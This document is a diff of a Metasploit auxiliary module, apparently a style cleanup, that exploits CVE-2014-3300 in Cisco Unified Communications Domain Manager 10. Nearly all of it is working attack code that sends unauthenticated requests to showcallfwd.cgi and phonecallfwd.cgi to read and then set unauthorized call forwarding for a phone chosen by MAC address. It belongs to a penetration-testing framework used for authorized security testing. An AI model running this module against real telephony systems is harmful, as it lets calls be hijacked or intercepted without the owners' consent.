88class MetasploitModule < Msf ::Auxiliary
99 include Msf ::Exploit ::Remote ::HttpClient
1010
11- def initialize ( info = { } )
12- super ( update_info ( info ,
13- 'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool' ,
14- 'Description' => %q{
15- The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
16- (CDM) 10 does not properly implement access control, which allows remote attackers to
17- modify user information. This module exploits the vulnerability to configure unauthorized
18- call forwarding.
19- } ,
20- 'Author' => 'fozavci' ,
21- 'References' =>
22- [
11+ def initialize ( info = { } )
12+ super (
13+ update_info (
14+ info ,
15+ 'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool' ,
16+ 'Description' => %q{
17+ The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
18+ (CDM) 10 does not properly implement access control, which allows remote attackers to
19+ modify user information. This module exploits the vulnerability to configure unauthorized
20+ call forwarding.
21+ } ,
22+ 'Author' => 'fozavci' ,
23+ 'References' => [
2324 [ 'CVE' , '2014-3300' ] ,
2425 [ 'BID' , '68331' ]
2526 ] ,
26- 'License' => MSF_LICENSE ,
27- 'Actions' =>
28- [
27+ 'License' => MSF_LICENSE ,
28+ 'Actions' => [
2929 [ 'Forward' , { 'Description' => 'Enabling the call forwarding for the MAC address' } ] ,
3030 [ 'Info' , { 'Description' => 'Retrieving the call forwarding information for the MAC address' } ]
3131 ] ,
32- 'DefaultAction' => 'Info'
33- ) )
32+ 'DefaultAction' => 'Info' ,
33+ 'Notes' => {
34+ 'Stability' => [ SERVICE_RESOURCE_LOSS ] ,
35+ 'SideEffects' => [ IOC_IN_LOGS ] ,
36+ 'Reliability' => [ ]
37+ }
38+ )
39+ )
3440
3541 register_options (
3642 [
3743 OptString . new ( 'TARGETURI' , [ true , 'Target URI for XML services' , '/bvsmweb' ] ) ,
38- OptString . new ( 'MAC' , [ true , 'MAC Address of target phone' , '000000000000' ] ) ,
44+ OptString . new ( 'MAC' , [ true , 'MAC address of target phone' , '000000000000' ] ) ,
3945 OptString . new ( 'FORWARDTO' , [ true , 'Number to forward all calls' , '007' ] ) ,
40- OptString . new ( 'FINTNUMBER' , [ false , 'FINTNUMBER of IP Phones, required for multiple lines' ] )
41- ] )
46+ OptString . new ( 'FINTNUMBER' , [ false , 'FINTNUMBER of IP phones, required for multiple lines' ] )
47+ ]
48+ )
4249 end
4350
4451 def run
@@ -52,22 +59,23 @@ def run
5259
5360 def get_info
5461 uri = normalize_uri ( target_uri . to_s )
55- mac = datastore [ " MAC" ]
62+ mac = datastore [ ' MAC' ]
5663
57- print_status ( " Getting fintnumbers and display names of the IP phone" )
64+ print_status ( ' Getting fintnumbers and display names of the IP phone' )
5865
5966 res = send_request_cgi (
60- {
61- 'uri' => normalize_uri ( uri , 'showcallfwd.cgi' ) ,
62- 'method' => 'GET' ,
63- 'vars_get' => {
64- 'device' => "SEP#{ mac } "
65- }
66- } )
67+ {
68+ 'uri' => normalize_uri ( uri , 'showcallfwd.cgi' ) ,
69+ 'method' => 'GET' ,
70+ 'vars_get' => {
71+ 'device' => "SEP#{ mac } "
72+ }
73+ }
74+ )
6775
6876 unless res && res . code == 200 && res . body && res . body . to_s =~ /fintnumber/
69- print_error ( " Target appears not vulnerable!" )
70- print_status ( " #{ res } " )
77+ print_error ( ' Target appears not vulnerable!' )
78+ print_status ( res . to_s )
7179 return [ ]
7280 end
7381
@@ -79,9 +87,9 @@ def get_info
7987
8088 list . each do |lst |
8189 xlist = lst . get_elements ( 'Name' )
82- xlist . each { |l | lines << " #{ l [ 0 ] } " }
90+ xlist . each { |l | lines << ( l [ 0 ] ) . to_s }
8391 xlist = lst . get_elements ( 'URL' )
84- xlist . each { |l | fint_numbers << " #{ l [ 0 ] . to_s . split ( 'fintnumber=' ) [ 1 ] } " }
92+ xlist . each { |l | fint_numbers << ( l [ 0 ] . to_s . split ( 'fintnumber=' ) [ 1 ] ) . to_s }
8593 end
8694
8795 lines . size . times do |i |
@@ -94,8 +102,8 @@ def get_info
94102 def forward_calls
95103 # for a specific FINTNUMBER redirection
96104 uri = normalize_uri ( target_uri . to_s )
97- forward_to = datastore [ " FORWARDTO" ]
98- mac = datastore [ " MAC" ]
105+ forward_to = datastore [ ' FORWARDTO' ]
106+ mac = datastore [ ' MAC' ]
99107
100108 if datastore [ 'FINTNUMBER' ]
101109 fint_numbers = [ datastore [ 'FINTNUMBER' ] ]
@@ -104,41 +112,42 @@ def forward_calls
104112 end
105113
106114 if fint_numbers . empty?
107- print_error ( " FINTNUMBER required to forward calls" )
115+ print_error ( ' FINTNUMBER required to forward calls' )
108116 return
109117 end
110118
111119 fint_numbers . each do |fintnumber |
112-
113120 print_status ( "Sending call forward request for #{ fintnumber } " )
114121
115122 send_request_cgi (
116- {
117- 'uri' => normalize_uri ( uri , 'phonecallfwd.cgi' ) ,
118- 'method' => 'GET' ,
119- 'vars_get' => {
120- 'cfoption' => 'CallForwardAll' ,
121- 'device' => "SEP#{ mac } " ,
122- 'ProviderName' => 'NULL' ,
123- 'fintnumber' => "#{ fintnumber } " ,
124- 'telno1' => "#{ forward_to } "
125- }
126- } )
123+ {
124+ 'uri' => normalize_uri ( uri , 'phonecallfwd.cgi' ) ,
125+ 'method' => 'GET' ,
126+ 'vars_get' => {
127+ 'cfoption' => 'CallForwardAll' ,
128+ 'device' => "SEP#{ mac } " ,
129+ 'ProviderName' => 'NULL' ,
130+ 'fintnumber' => fintnumber . to_s ,
131+ 'telno1' => forward_to . to_s
132+ }
133+ }
134+ )
127135
128136 res = send_request_cgi (
129- {
130- 'uri' => normalize_uri ( uri , 'showcallfwdperline.cgi' ) ,
131- 'method' => 'GET' ,
132- 'vars_get' => {
133- 'device' => "SEP#{ mac } " ,
134- 'fintnumber' => "#{ fintnumber } "
135- }
136- } )
137-
138- if res && res . body && res . body && res . body . to_s =~ /CFA/
137+ {
138+ 'uri' => normalize_uri ( uri , 'showcallfwdperline.cgi' ) ,
139+ 'method' => 'GET' ,
140+ 'vars_get' => {
141+ 'device' => "SEP#{ mac } " ,
142+ 'fintnumber' => fintnumber . to_s
143+ }
144+ }
145+ )
146+
147+ if res && res . body . to_s . include? ( 'CFA' )
139148 print_good ( "Call forwarded successfully for #{ fintnumber } " )
140149 else
141- print_error ( " Call forward failed" )
150+ print_error ( ' Call forward failed' )
142151 end
143152 end
144153 end
0 commit comments